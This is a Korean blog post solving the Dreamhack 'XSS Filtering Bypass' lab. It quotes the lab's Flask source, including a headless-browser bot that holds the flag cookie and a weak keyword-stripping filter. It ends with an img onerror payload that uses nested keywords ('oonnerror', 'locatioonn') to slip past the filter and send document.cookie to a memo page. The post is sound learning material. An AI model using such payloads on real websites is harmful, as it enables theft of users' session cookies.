오늘은 XSS Filtering Bypass를 풀어보자.
몇 달 전에 풀었지만 기억이 가물가물해서 다시 풀어볼거다.
문제 페이지이다. vuln(xss) page와 memo, flag 3개의 페이지가 따로 있다.
vuln(xss) page를 접속하게 되면 get으로 파라미터에 <img src= ~~>를 사용했고, 실제 동작하는 모습이다.
img src 취약점이 있다 라는 것을 보여주려고 vuln 페이지를 만들어 둔 것 같다.
memo 페이지를 들어가보자
memo 페이지에서는 hello가 출력되어 있는 모습이다.
url을 보니 memo?memo=hello 이다. memo= 뒤의 문자열을 메모해서 보여주는 것 같다.
아니나 다를까 GET으로 cert라는 문자열을 보내니 'cert' 라는 문자열이 입력된 모습이다.
마지막으로 flag 페이지다.
127.0.0.1:8000/vuln 으로 GET으로 param이라는 파라미터에 데이터를 실어 보내는 것 같다.
그럼 어떻게 flag를 찾아야 할까?
소스코드를 보자
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
/flag 페이지 소스코드이다.
Request Method가 GET이면 flag.html을 띄워주고, POST면 ?param 값을 받아 param이라는 변수에 저장한다.
그리고 check_xss라는 함수에 param과 name이 flag이고 value가 FLAG.strip()인 값을 전달한다.
name과 value가 있는 걸 보니 name이 flag이고, value가 FLAG값인 쿠키를 check_xss라는 함수에 전달하는 것 같다.
그래서 check_xss 함수에 보내는 쿠키의 value 값이 우리가 찾아야 할 flag 값으로 추측된다.
그럼 check_xss가 뭐냐
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
check_xss 함수는
- 받은 param 값으로 urllib으로 URL인코딩을 해 url이라는 변수에 저장한 후 read_url에 전달한다.
- 받은 cookie 값을 read_url에 전달한다.
이렇게 두 가지 역할을 수행한다.
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
read_url 함수이다.
url과 cookie 값을 전달 받고, driver = webdriver.Chrome 으로 저장한 뒤
driver.get(url)로 check_xss에서 인코딩한 url 에 get을 보내고,
전달받은 쿠키 값으로 새로운 쿠키를 추가한다.
여기까지 코드를 해석해 보았다.
/memo 에서 파라미터 값을 출력해 줬으니까
flag 페이지에서 파라미터 값에 스크립트를 실행시켜 /memo 페이지에 쿠키를 추가해 보내주면 memo 페이지에서 flag 값을 볼 수 있을 것 같다.
페이로드를 짜보자
<img src onerror="location.href='/memo?memo='+document.cookie">
안된다.
왜 안되나 보니
vuln(xss) 페이지에 필터링 하는 부분이 있었다.
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
/flag 페이지에서 /vuln으로 get을 보내는데 이 /vuln 페이지에서 필터링을 하고 있다.
vuln 함수는 param의 value값을 받아 xss_filter 함수에 전달하고
def xss_filter(text):
_filter = ["script", "on", "javascript:"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
xss_filter 함수는 script, on, javascript 를 필터링하고 있다.
하지만 replace형식으로 되어있어 차단하는 게 아니라 필터링 단어를 없애는 방식으로 되어있다.
이렇게 되면 필터링 단어 안에 또 필터링 단어를 넣어 우회가 가능하다.
<scrscriptipt> -> (안에 있는 script 삭제) -> <script>
최종적으로 script가 남게 되므로 스크립트 실행이 가능하게 된다.
페이로드를 수정해보면
<img src oonnerror="locatioonn.href='/memo?memo='+document.cookie">
끝
'Dreamhack' 카테고리의 다른 글
[Dreamhack] BypassIF 풀이 (0) | 2024.04.03 |
---|---|
[Dreamhack] XSS Filtering Bypass Advanced 풀이 (0) | 2024.03.24 |
[Dreamhack] sql injection bypass WAF Advanced 풀이 (0) | 2024.03.20 |
[Dreamhack] sql injection bypass WAF 풀이 (0) | 2024.03.02 |
[Dreamhack] blind sql injection advanced 풀이 (0) | 2024.02.08 |